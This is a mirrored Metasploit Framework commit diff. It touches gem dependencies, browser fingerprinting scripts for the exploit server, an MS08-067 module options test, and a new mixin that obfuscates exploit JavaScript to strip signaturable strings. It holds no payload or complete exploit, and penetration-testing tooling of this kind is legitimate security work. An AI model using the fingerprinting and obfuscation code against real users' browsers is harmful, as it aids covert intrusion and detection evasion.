mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-16 01:21:15 +02:00
Merge branch 'master' into bug/MSP-11368/boot-profiling
MSP-11368
This commit is contained in:
commit
f61afe2598
9
Gemfile
9
Gemfile
@ -6,12 +6,11 @@ gemspec
|
||||
group :db do
|
||||
# Needed for Msf::DbManager
|
||||
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
|
||||
# Metasploit::Concern hooks
|
||||
gem 'metasploit-concern', '~> 0.1.1'
|
||||
|
||||
# Metasploit::Credential database models
|
||||
gem 'metasploit-credential', '>= 0.9.0'
|
||||
gem 'metasploit-credential', '~> 0.10.1'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', '~> 0.19'
|
||||
gem 'metasploit_data_models', '~> 0.20.1'
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
gem 'pg', '>= 0.11'
|
||||
end
|
||||
@ -53,7 +52,7 @@ group :test do
|
||||
# cucumber extension for testing command line applications, like msfconsole
|
||||
gem 'aruba'
|
||||
# cucumber + automatic database cleaning with database_cleaner
|
||||
gem 'cucumber-rails'
|
||||
gem 'cucumber-rails', :require => false
|
||||
gem 'shoulda-matchers'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
|
36
Gemfile.lock
36
Gemfile.lock
@ -5,14 +5,15 @@ PATH
|
||||
actionpack (< 4.0.0)
|
||||
activesupport (>= 3.0.0, < 4.0.0)
|
||||
bcrypt
|
||||
jsobfu (~> 0.1.7)
|
||||
json
|
||||
metasploit-model (~> 0.26.1)
|
||||
metasploit-concern (~> 0.2.1)
|
||||
metasploit-model (~> 0.27.1)
|
||||
meterpreter_bins (= 0.0.7)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
railties
|
||||
rkelly-remix (= 0.0.6)
|
||||
robots
|
||||
rubyzip (~> 1.1)
|
||||
sqlite3
|
||||
@ -90,34 +91,40 @@ GEM
|
||||
hike (1.2.3)
|
||||
i18n (0.6.11)
|
||||
journey (1.0.4)
|
||||
jsobfu (0.1.7)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.1)
|
||||
mail (2.5.4)
|
||||
mime-types (~> 1.16)
|
||||
treetop (~> 1.4.8)
|
||||
metasploit-concern (0.1.1)
|
||||
metasploit-concern (0.2.1)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
metasploit-credential (0.9.0)
|
||||
metasploit-concern (~> 0.1.0)
|
||||
metasploit-model (~> 0.26.1)
|
||||
metasploit_data_models (~> 0.19.4)
|
||||
railties (< 4.0.0)
|
||||
metasploit-credential (0.10.1)
|
||||
metasploit-concern (~> 0.2.1)
|
||||
metasploit-model (~> 0.27.0)
|
||||
metasploit_data_models (~> 0.20.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
rubyntlm
|
||||
rubyzip (~> 1.1)
|
||||
metasploit-model (0.26.1)
|
||||
metasploit-model (0.27.1)
|
||||
activesupport
|
||||
metasploit_data_models (0.19.4)
|
||||
railties (< 4.0.0)
|
||||
metasploit_data_models (0.20.1)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
arel-helpers
|
||||
metasploit-concern (~> 0.1.0)
|
||||
metasploit-model (~> 0.26.1)
|
||||
metasploit-concern (~> 0.2.1)
|
||||
metasploit-model (~> 0.27.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
meterpreter_bins (0.0.7)
|
||||
method_source (0.8.2)
|
||||
mime-types (1.25.1)
|
||||
mini_portile (0.6.0)
|
||||
msgpack (0.5.8)
|
||||
multi_json (1.0.3)
|
||||
multi_json (1.0.4)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.3.1)
|
||||
mini_portile (= 0.6.0)
|
||||
@ -211,10 +218,9 @@ DEPENDENCIES
|
||||
factory_girl (>= 4.1.0)
|
||||
factory_girl_rails
|
||||
fivemat (= 1.2.1)
|
||||
metasploit-concern (~> 0.1.1)
|
||||
metasploit-credential (>= 0.9.0)
|
||||
metasploit-credential (~> 0.10.1)
|
||||
metasploit-framework!
|
||||
metasploit_data_models (~> 0.19)
|
||||
metasploit_data_models (~> 0.20.1)
|
||||
network_interface (~> 0.0.1)
|
||||
pcaprub
|
||||
pg (>= 0.11)
|
||||
|
@ -1,10 +1,10 @@
|
||||
window.ie_addons_detect = { };
|
||||
var ie_addons_detect = { };
|
||||
|
||||
/**
|
||||
* Returns true if this ActiveX is available, otherwise false.
|
||||
* Grabbed this directly from browser_autopwn.rb
|
||||
**/
|
||||
window.ie_addons_detect.hasActiveX = function (axo_name, method) {
|
||||
ie_addons_detect.hasActiveX = function (axo_name, method) {
|
||||
var axobj = null;
|
||||
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
|
||||
axobj = document.createElement("object");
|
||||
@ -41,7 +41,7 @@ window.ie_addons_detect.hasActiveX = function (axo_name, method) {
|
||||
/**
|
||||
* Returns the version of Microsoft Office. If not found, returns null.
|
||||
**/
|
||||
window.ie_addons_detect.getMsOfficeVersion = function () {
|
||||
ie_addons_detect.getMsOfficeVersion = function () {
|
||||
var version;
|
||||
var types = new Array();
|
||||
for (var i=1; i <= 5; i++) {
|
||||
|
@ -1,10 +1,10 @@
|
||||
window.misc_addons_detect = { };
|
||||
var misc_addons_detect = { };
|
||||
|
||||
|
||||
/**
|
||||
* Detects whether the browser supports Silverlight or not
|
||||
**/
|
||||
window.misc_addons_detect.hasSilverlight = function () {
|
||||
misc_addons_detect.hasSilverlight = function () {
|
||||
var found = false;
|
||||
|
||||
//
|
||||
@ -49,7 +49,7 @@ window.misc_addons_detect.hasSilverlight = function () {
|
||||
/**
|
||||
* Returns the Adobe Flash version
|
||||
**/
|
||||
window.misc_addons_detect.getFlashVersion = function () {
|
||||
misc_addons_detect.getFlashVersion = function () {
|
||||
var foundVersion = null;
|
||||
|
||||
//
|
||||
@ -96,7 +96,7 @@ window.misc_addons_detect.getFlashVersion = function () {
|
||||
/**
|
||||
* Returns the Java version
|
||||
**/
|
||||
window.misc_addons_detect.getJavaVersion = function () {
|
||||
misc_addons_detect.getJavaVersion = function () {
|
||||
var foundVersion = null;
|
||||
|
||||
//
|
||||
|
@ -1,28 +1,28 @@
|
||||
|
||||
// Case matters, see lib/msf/core/constants.rb
|
||||
// All of these should match up with constants in ::Msf::HttpClients
|
||||
clients_opera = "Opera";
|
||||
clients_ie = "MSIE";
|
||||
clients_ff = "Firefox";
|
||||
clients_chrome= "Chrome";
|
||||
clients_safari= "Safari";
|
||||
var clients_opera = "Opera";
|
||||
var clients_ie = "MSIE";
|
||||
var clients_ff = "Firefox";
|
||||
var clients_chrome= "Chrome";
|
||||
var clients_safari= "Safari";
|
||||
|
||||
// All of these should match up with constants in ::Msf::OperatingSystems
|
||||
oses_linux = "Linux";
|
||||
oses_windows = "Microsoft Windows";
|
||||
oses_mac_osx = "Mac OS X";
|
||||
oses_freebsd = "FreeBSD";
|
||||
oses_netbsd = "NetBSD";
|
||||
oses_openbsd = "OpenBSD";
|
||||
var oses_linux = "Linux";
|
||||
var oses_windows = "Microsoft Windows";
|
||||
var oses_mac_osx = "Mac OS X";
|
||||
var oses_freebsd = "FreeBSD";
|
||||
var oses_netbsd = "NetBSD";
|
||||
var oses_openbsd = "OpenBSD";
|
||||
|
||||
// All of these should match up with the ARCH_* constants
|
||||
arch_armle = "armle";
|
||||
arch_x86 = "x86";
|
||||
arch_x86_64 = "x86_64";
|
||||
arch_ppc = "ppc";
|
||||
arch_mipsle = "mipsle";
|
||||
var arch_armle = "armle";
|
||||
var arch_x86 = "x86";
|
||||
var arch_x86_64 = "x86_64";
|
||||
var arch_ppc = "ppc";
|
||||
var arch_mipsle = "mipsle";
|
||||
|
||||
window.os_detect = {};
|
||||
var os_detect = {};
|
||||
|
||||
/**
|
||||
* This can reliably detect browser versions for IE and Firefox even in the
|
||||
@ -30,7 +30,7 @@ window.os_detect = {};
|
||||
* requires truthful navigator.appVersion and navigator.userAgent strings in
|
||||
* order to be accurate for more than just IE on Windows.
|
||||
**/
|
||||
window.os_detect.getVersion = function(){
|
||||
os_detect.getVersion = function(){
|
||||
//Default values:
|
||||
var os_name;
|
||||
var os_flavor;
|
||||
@ -1121,7 +1121,7 @@ window.os_detect.getVersion = function(){
|
||||
return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version };
|
||||
}; // function getVersion
|
||||
|
||||
window.os_detect.searchVersion = function(needle, haystack) {
|
||||
os_detect.searchVersion = function(needle, haystack) {
|
||||
var index = haystack.indexOf(needle);
|
||||
var found_version;
|
||||
if (index == -1) { return; }
|
||||
@ -1137,7 +1137,7 @@ window.os_detect.searchVersion = function(needle, haystack) {
|
||||
/*
|
||||
* Return -1 if a < b, 0 if a == b, 1 if a > b
|
||||
*/
|
||||
window.ua_ver_cmp = function(ver_a, ver_b) {
|
||||
ua_ver_cmp = function(ver_a, ver_b) {
|
||||
// shortcut the easy case
|
||||
if (ver_a == ver_b) {
|
||||
return 0;
|
||||
@ -1181,15 +1181,15 @@ window.ua_ver_cmp = function(ver_a, ver_b) {
|
||||
return 0;
|
||||
};
|
||||
|
||||
window.ua_ver_lt = function(a, b) {
|
||||
ua_ver_lt = function(a, b) {
|
||||
if (-1 == this.ua_ver_cmp(a,b)) { return true; }
|
||||
return false;
|
||||
};
|
||||
window.ua_ver_gt = function(a, b) {
|
||||
ua_ver_gt = function(a, b) {
|
||||
if (1 == this.ua_ver_cmp(a,b)) { return true; }
|
||||
return false;
|
||||
};
|
||||
window.ua_ver_eq = function(a, b) {
|
||||
ua_ver_eq = function(a, b) {
|
||||
if (0 == this.ua_ver_cmp(a,b)) { return true; }
|
||||
return false;
|
||||
};
|
||||
|
@ -11,7 +11,7 @@
|
||||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20140801150537) do
|
||||
ActiveRecord::Schema.define(:version => 20140905031549) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
@ -125,6 +125,7 @@ ActiveRecord::Schema.define(:version => 20140801150537) do
|
||||
t.integer "host_detail_count", :default => 0
|
||||
t.integer "exploit_attempt_count", :default => 0
|
||||
t.integer "cred_count", :default => 0
|
||||
t.string "detected_arch"
|
||||
end
|
||||
|
||||
add_index "hosts", ["name"], :name => "index_hosts_on_name"
|
||||
|
@ -1,6 +1,10 @@
|
||||
@wip
|
||||
Feature: MS08-067 netapi
|
||||
|
||||
Background:
|
||||
Given a directory named "home"
|
||||
And I cd to "home"
|
||||
And a mocked home directory
|
||||
Given I run `msfconsole` interactively
|
||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||
|
||||
@ -8,90 +12,162 @@ Feature: MS08-067 netapi
|
||||
When I type "use exploit/windows/smb/ms08_067_netapi"
|
||||
And I type "show options"
|
||||
And I type "exit"
|
||||
Then the output should contain the following:
|
||||
| Module options (exploit/windows/smb/ms08_067_netapi) |
|
||||
| Name Current Setting Required Description |
|
||||
| ---- --------------- -------- ----------- |
|
||||
| RHOST yes The target address |
|
||||
| RPORT 445 yes Set the SMB service port |
|
||||
| RPORT 445 yes Set the SMB service port |
|
||||
Then the output should contain:
|
||||
"""
|
||||
Module options (exploit/windows/smb/ms08_067_netapi):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOST yes The target address
|
||||
RPORT 445 yes Set the SMB service port
|
||||
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic Targeting
|
||||
|
||||
"""
|
||||
|
||||
Scenario: The MS08-067 Module should have the following advanced options
|
||||
When I type "use exploit/windows/smb/ms08_067_netapi"
|
||||
And I type "show advanced"
|
||||
And I type "exit"
|
||||
Then the output should contain the following:
|
||||
| Name : CHOST |
|
||||
| Description : The local client address |
|
||||
| Name : CPORT |
|
||||
| Description : The local client port |
|
||||
| Name : ConnectTimeout |
|
||||
| Description : Maximum number of seconds to establish a TCP connection |
|
||||
| Name : ContextInformationFile |
|
||||
| Description : The information file that contains context information |
|
||||
| Name : DCERPC::ReadTimeout |
|
||||
| Description : The number of seconds to wait for DCERPC responses |
|
||||
| Name : DisablePayloadHandler |
|
||||
| Description : Disable the handler code for the selected payload |
|
||||
| Name : EnableContextEncoding |
|
||||
| Description : Use transient context when encoding payloads |
|
||||
| Name : NTLM::SendLM |
|
||||
| Description : Always send the LANMAN response (except when NTLMv2_session is |
|
||||
| specified) |
|
||||
| Name : NTLM::SendNTLM |
|
||||
| Description : Activate the 'Negotiate NTLM key' flag, indicating the use of |
|
||||
| NTLM responses |
|
||||
| Name : NTLM::SendSPN |
|
||||
| Current Setting: true |
|
||||
| Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow |
|
||||
| authentification on windows Seven/2008r2 when SPN is required |
|
||||
| Name : NTLM::UseLMKey |
|
||||
| Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key |
|
||||
| when the LM response is sent |
|
||||
| Name : NTLM::UseNTLM2_session |
|
||||
| Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a |
|
||||
| NTLMv2_session |
|
||||
| Name : NTLM::UseNTLMv2 |
|
||||
| Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key |
|
||||
| is true |
|
||||
# | Name : Proxies |
|
||||
# | Description : Use a proxy chain |
|
||||
| Name : SMB::ChunkSize |
|
||||
| Current Setting: 500 |
|
||||
| Description : The chunk size for SMB segments, bigger values will increase |
|
||||
| speed but break NT 4.0 and SMB signing |
|
||||
| Name : SMB::Native_LM |
|
||||
| Description : The Native LM to send during authentication |
|
||||
| Name : SMB::Native_OS |
|
||||
| Description : The Native OS to send during authentication |
|
||||
| Name : SMB::VerifySignature |
|
||||
| Description : Enforces client-side verification of server response signatures |
|
||||
| Name : SMBDirect |
|
||||
| Description : The target port is a raw SMB service (not NetBIOS) |
|
||||
| Name : SMBDomain |
|
||||
| Description : The Windows domain to use for authentication |
|
||||
| Name : SMBName |
|
||||
| Description : The NetBIOS hostname (required for port 139 connections) |
|
||||
| Name : SMBPass |
|
||||
| Description : The password for the specified username |
|
||||
| Name : SMBUser |
|
||||
| Description : The username to authenticate as |
|
||||
| Name : SSL |
|
||||
| Description : Negotiate SSL for outgoing connections |
|
||||
| Name : SSLCipher |
|
||||
| Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH" |
|
||||
| Name : SSLVerifyMode |
|
||||
| Description : SSL verification method (accepted: CLIENT_ONCE, |
|
||||
| FAIL_IF_NO_PEER_CERT, NONE, PEER) |
|
||||
| Name : SSLVersion |
|
||||
| Description : Specify the version of SSL that should be used (accepted: SSL2, |
|
||||
| SSL3, TLS1) |
|
||||
| Name : VERBOSE |
|
||||
| Description : Enable detailed status messages |
|
||||
| Name : WORKSPACE |
|
||||
| Description : Specify the workspace for this module |
|
||||
| Name : WfsDelay |
|
||||
| Description : Additional delay when waiting for a session |
|
||||
Then the output should contain:
|
||||
"""
|
||||
Module advanced options:
|
||||
|
||||
Name : CHOST
|
||||
Current Setting:
|
||||
Description : The local client address
|
||||
|
||||
Name : CPORT
|
||||
Current Setting:
|
||||
Description : The local client port
|
||||
|
||||
Name : ConnectTimeout
|
||||
Current Setting: 10
|
||||
Description : Maximum number of seconds to establish a TCP connection
|
||||
|
||||
Name : ContextInformationFile
|
||||
Current Setting:
|
||||
Description : The information file that contains context information
|
||||
|
||||
Name : DCERPC::ReadTimeout
|
||||
Current Setting: 10
|
||||
Description : The number of seconds to wait for DCERPC responses
|
||||
|
||||
Name : DisablePayloadHandler
|
||||
Current Setting: false
|
||||
Description : Disable the handler code for the selected payload
|
||||
|
||||
Name : EnableContextEncoding
|
||||
Current Setting: false
|
||||
Description : Use transient context when encoding payloads
|
||||
|
||||
Name : NTLM::SendLM
|
||||
Current Setting: true
|
||||
Description : Always send the LANMAN response (except when NTLMv2_session is
|
||||
specified)
|
||||
|
||||
Name : NTLM::SendNTLM
|
||||
Current Setting: true
|
||||
Description : Activate the 'Negotiate NTLM key' flag, indicating the use of
|
||||
NTLM responses
|
||||
|
||||
Name : NTLM::SendSPN
|
||||
Current Setting: true
|
||||
Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow
|
||||
authentification on windows Seven/2008r2 when SPN is required
|
||||
|
||||
Name : NTLM::UseLMKey
|
||||
Current Setting: false
|
||||
Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
|
||||
when the LM response is sent
|
||||
|
||||
Name : NTLM::UseNTLM2_session
|
||||
Current Setting: true
|
||||
Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
|
||||
NTLMv2_session
|
||||
|
||||
Name : NTLM::UseNTLMv2
|
||||
Current Setting: true
|
||||
Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
|
||||
is true
|
||||
|
||||
Name : Proxies
|
||||
Current Setting:
|
||||
Description : Use a proxy chain
|
||||
|
||||
Name : SMB::ChunkSize
|
||||
Current Setting: 500
|
||||
Description : The chunk size for SMB segments, bigger values will increase
|
||||
speed but break NT 4.0 and SMB signing
|
||||
|
||||
Name : SMB::Native_LM
|
||||
Current Setting: Windows 2000 5.0
|
||||
Description : The Native LM to send during authentication
|
||||
|
||||
Name : SMB::Native_OS
|
||||
Current Setting: Windows 2000 2195
|
||||
Description : The Native OS to send during authentication
|
||||
|
||||
Name : SMB::VerifySignature
|
||||
Current Setting: false
|
||||
Description : Enforces client-side verification of server response signatures
|
||||
|
||||
Name : SMBDirect
|
||||
Current Setting: true
|
||||
Description : The target port is a raw SMB service (not NetBIOS)
|
||||
|
||||
Name : SMBDomain
|
||||
Current Setting: .
|
||||
Description : The Windows domain to use for authentication
|
||||
|
||||
Name : SMBName
|
||||
Current Setting: *SMBSERVER
|
||||
Description : The NetBIOS hostname (required for port 139 connections)
|
||||
|
||||
Name : SMBPass
|
||||
Current Setting:
|
||||
Description : The password for the specified username
|
||||
|
||||
Name : SMBUser
|
||||
Current Setting:
|
||||
Description : The username to authenticate as
|
||||
|
||||
Name : SSL
|
||||
Current Setting: false
|
||||
Description : Negotiate SSL for outgoing connections
|
||||
|
||||
Name : SSLCipher
|
||||
Current Setting:
|
||||
Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
|
||||
|
||||
Name : SSLVerifyMode
|
||||
Current Setting: PEER
|
||||
Description : SSL verification method (accepted: CLIENT_ONCE,
|
||||
FAIL_IF_NO_PEER_CERT, NONE, PEER)
|
||||
|
||||
Name : SSLVersion
|
||||
Current Setting: SSL3
|
||||
Description : Specify the version of SSL that should be used (accepted: SSL2,
|
||||
SSL3, TLS1)
|
||||
|
||||
Name : VERBOSE
|
||||
Current Setting: false
|
||||
Description : Enable detailed status messages
|
||||
|
||||
Name : WORKSPACE
|
||||
Current Setting:
|
||||
Description : Specify the workspace for this module
|
||||
|
||||
Name : WfsDelay
|
||||
Current Setting: 0
|
||||
Description : Additional delay when waiting for a session
|
||||
"""
|
||||
|
||||
@targets
|
||||
Scenario: Show RHOST/etc variable expansion from a config file
|
||||
|
@ -1,5 +0,0 @@
|
||||
Then /^the output should contain the following:$/ do |table|
|
||||
table.raw.flatten.each do |expected|
|
||||
assert_partial_output(expected, all_output)
|
||||
end
|
||||
end
|
@ -1,5 +1,5 @@
|
||||
Before do
|
||||
set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first)
|
||||
set_env('RAILS_ENV', 'test')
|
||||
@aruba_timeout_seconds = 3.minutes
|
||||
@aruba_timeout_seconds = 4.minutes
|
||||
end
|
@ -879,19 +879,20 @@ class CCompiler < C::Compiler
|
||||
r = c_cexpr_inner(expr.rexpr)
|
||||
r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM
|
||||
r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz
|
||||
l = make_volatile(l, expr.type) if l.kind_of?(ModRM)
|
||||
l = make_volatile(l, expr.type) if l.kind_of?(ModRM) and r.kind_of?(Reg) and r.sz != l.sz
|
||||
if l.kind_of? Expression
|
||||
o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o
|
||||
l, r = r, l
|
||||
end
|
||||
unuse l, r
|
||||
if expr.lexpr.type.integral? or expr.lexpr.type.pointer?
|
||||
r = Reg.new(r.val, l.sz) if r.kind_of? Reg and r.sz != l.sz # XXX
|
||||
instr 'cmp', l, i_to_i32(r)
|
||||
rr = i_to_i32(r)
|
||||
rr = Reg.new(rr.val, l.sz) if rr.kind_of? Reg and rr.sz != l.sz # XXX
|
||||
instr 'cmp', l, rr
|
||||
elsif expr.lexpr.type.float?
|
||||
raise 'float unhandled'
|
||||
else raise 'bad comparison ' + expr.to_s
|
||||
end
|
||||
unuse l, r
|
||||
op = 'j' + getcc(o, expr.lexpr.type)
|
||||
instr op, Expression[target]
|
||||
when :'!'
|
||||
|
31
lib/msf/core/exploit/jsobfu.rb
Normal file
31
lib/msf/core/exploit/jsobfu.rb
Normal file
@ -0,0 +1,31 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/exploitation/jsobfu'
|
||||
|
||||
module Msf
|
||||
module Exploit::JSObfu
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0])
|
||||
], Exploit::JSObfu)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an JSObfu object. A wrapper of ::Rex::Exploitation::JSObfu.new(js).obfuscate
|
||||
#
|
||||
# @param js [String] JavaScript code
|
||||
# @param opts [Hash] obfuscation options
|
||||
# * :iterations [FixNum] Number of times to obfuscate
|
||||
# @return [::Rex::Exploitation::JSObfu]
|
||||
#
|
||||
def js_obfuscate(js, opts={})
|
||||
iterations = (opts[:iterations] || datastore['JsObfuscate']).to_i
|
||||
obfu = ::Rex::Exploitation::JSObfu.new(js)
|
||||
obfu.obfuscate(:iterations=>iterations)
|
||||
obfu
|
||||
end
|
||||
|
||||
end
|
||||
end
|
@ -4,6 +4,7 @@ require 'erb'
|
||||
require 'cgi'
|
||||
require 'date'
|
||||
require 'rex/exploitation/js'
|
||||
require 'msf/core/exploit/jsobfu'
|
||||
|
||||
###
|
||||
#
|
||||
@ -17,6 +18,7 @@ module Msf
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
include Msf::Exploit::JSObfu
|
||||
|
||||
# this must be static between runs, otherwise the older cookies will be ignored
|
||||
DEFAULT_COOKIE_NAME = '__ua'
|
||||
@ -371,27 +373,27 @@ module Msf
|
||||
|
||||
|
||||
window.onload = function() {
|
||||
var osInfo = window.os_detect.getVersion();
|
||||
var osInfo = os_detect.getVersion();
|
||||
var d = {
|
||||
"<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name,
|
||||
"<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor,
|
||||
"<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name,
|
||||
"<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version,
|
||||
"<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch,
|
||||
"<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion(),
|
||||
"<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight(),
|
||||
"<%=REQUIREMENT_KEY_SET[:flash]%>" : window.misc_addons_detect.getFlashVersion()
|
||||
"<%=REQUIREMENT_KEY_SET[:java]%>" : misc_addons_detect.getJavaVersion(),
|
||||
"<%=REQUIREMENT_KEY_SET[:silverlight]%>" : misc_addons_detect.hasSilverlight(),
|
||||
"<%=REQUIREMENT_KEY_SET[:flash]%>" : misc_addons_detect.getFlashVersion()
|
||||
};
|
||||
|
||||
<% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
|
||||
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion();
|
||||
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = ie_addons_detect.getMsOfficeVersion();
|
||||
d['<%=REQUIREMENT_KEY_SET[:mshtml_build]%>'] = ScriptEngineBuildVersion().toString();
|
||||
<%
|
||||
clsid = @requirements[:clsid]
|
||||
method = @requirements[:method]
|
||||
if clsid and method
|
||||
%>
|
||||
d['activex'] = window.ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||||
d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||||
<% end %>
|
||||
<% end %>
|
||||
|
||||
@ -453,7 +455,8 @@ module Msf
|
||||
ua = request.headers['User-Agent'] || ''
|
||||
init_profile(tag)
|
||||
print_status("Sending response HTML.")
|
||||
send_response(cli, get_detection_html(ua), {'Set-Cookie' => cookie_header(tag)})
|
||||
html = get_detection_html(ua)
|
||||
send_response(cli, html, {'Set-Cookie' => cookie_header(tag)})
|
||||
|
||||
when /#{@info_receiver_page}/
|
||||
#
|
||||
|
@ -364,7 +364,9 @@ module Msf
|
||||
iterations.times do |x|
|
||||
shellcode = encoder_module.encode(shellcode.dup, badchars, nil, platform_list)
|
||||
cli_print "#{encoder_module.refname} succeeded with size #{shellcode.length} (iteration=#{x})"
|
||||
raise EncoderSpaceViolation, "encoder has made a buffer that is too big" if shellcode.length > space
|
||||
if shellcode.length > space
|
||||
raise EncoderSpaceViolation, "encoder has made a buffer that is too big"
|
||||
end
|
||||
end
|
||||
shellcode
|
||||
end
|
||||
|
@ -1,513 +1,17 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/random_identifier_generator'
|
||||
require 'rkelly'
|
||||
require 'jsobfu'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
|
||||
#
|
||||
# Obfuscate JavaScript by randomizing as much as possible and removing
|
||||
# easily-signaturable string constants.
|
||||
# Simple wrapper class that makes the JSObfu functionality
|
||||
# from the gem available under the Rex namespace.
|
||||
#
|
||||
# Example:
|
||||
# js = ::Rex::Exploitation::JSObfu.new %Q|
|
||||
# var a = "0\\612\\063\\x34\\x35\\x36\\x37\\x38\\u0039";
|
||||
# var b = { foo : "foo", bar : "bar" }
|
||||
# alert(a);
|
||||
# alert(b.foo);
|
||||
# |
|
||||
# js.obfuscate
|
||||
# puts js
|
||||
# Example Output:
|
||||
# var VwxvESbCgv = String.fromCharCode(0x30,0x31,062,063,064,53,0x36,067,070,0x39);
|
||||
# var ToWZPn = {
|
||||
# "\146\157\x6f": (function () { var yDyv="o",YnCL="o",Qcsa="f"; return Qcsa+YnCL+yDyv })(),
|
||||
# "\142ar": String.fromCharCode(0142,97,0162)
|
||||
# };
|
||||
# alert(VwxvESbCgv);
|
||||
# alert(ToWZPn.foo);
|
||||
#
|
||||
# NOTE: Variables MUST be declared with a 'var' statement BEFORE first use (or
|
||||
# not at all) for this to generate correct code! If variables are not declared
|
||||
# they will not be randomized but the generated code will be correct.
|
||||
#
|
||||
# Bad Example Javascript:
|
||||
# a = "asdf"; // this variable hasn't been declared and will not be randomized
|
||||
# var a;
|
||||
# alert(a); // real js engines will alert "asdf" here
|
||||
# Bad Example Obfuscated:
|
||||
# a = (function () { var hpHu="f",oyTm="asd"; return oyTm+hpHu })();
|
||||
# var zSrnHpEfJZtg;
|
||||
# alert(zSrnHpEfJZtg);
|
||||
# Notice that the first usage of +a+ (before it was declared) is not
|
||||
# randomized. Thus, the obfuscated version will alert 'undefined' instead of
|
||||
# "asdf".
|
||||
#
|
||||
class JSObfu
|
||||
|
||||
# these keywords should never be used as a random var name
|
||||
# source: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Reserved_Words
|
||||
RESERVED_KEYWORDS = %w(
|
||||
break case catch continue debugger default delete do else finally
|
||||
for function if in instanceof new return switch this throw try
|
||||
typeof var void while with class enum export extends import super
|
||||
implements interface let package private protected public static yield
|
||||
)
|
||||
|
||||
#
|
||||
# Abstract Syntax Tree generated by RKelly::Parser#parse
|
||||
#
|
||||
attr_reader :ast
|
||||
|
||||
#
|
||||
# Saves +code+ for later obfuscation with #obfuscate
|
||||
#
|
||||
def initialize(code)
|
||||
@code = code
|
||||
@funcs = {}
|
||||
@vars = {}
|
||||
@debug = false
|
||||
@rand_gen = Rex::RandomIdentifierGenerator.new(
|
||||
:max_length => 15,
|
||||
:first_char_set => Rex::Text::Alpha+"_$",
|
||||
:char_set => Rex::Text::AlphaNumeric+"_$"
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Add +str+ to the un-obfuscated code.
|
||||
#
|
||||
# Calling this method after #obfuscate is undefined
|
||||
#
|
||||
def <<(str)
|
||||
@code << str
|
||||
end
|
||||
|
||||
#
|
||||
# Return the (possibly obfuscated) code as a string.
|
||||
#
|
||||
# If #obfuscate has not been called before this, returns the parsed,
|
||||
# unobfuscated code. This can be useful for example to remove comments and
|
||||
# standardize spacing.
|
||||
#
|
||||
def to_s
|
||||
parse if not @ast
|
||||
@ast.to_ecma
|
||||
end
|
||||
|
||||
#
|
||||
# Return the obfuscated name of a symbol
|
||||
#
|
||||
# You MUST call #obfuscate before this method!
|
||||
#
|
||||
def sym(lookup)
|
||||
if @vars[lookup]
|
||||
ret = @vars[lookup]
|
||||
elsif @funcs[lookup]
|
||||
ret = @funcs[lookup]
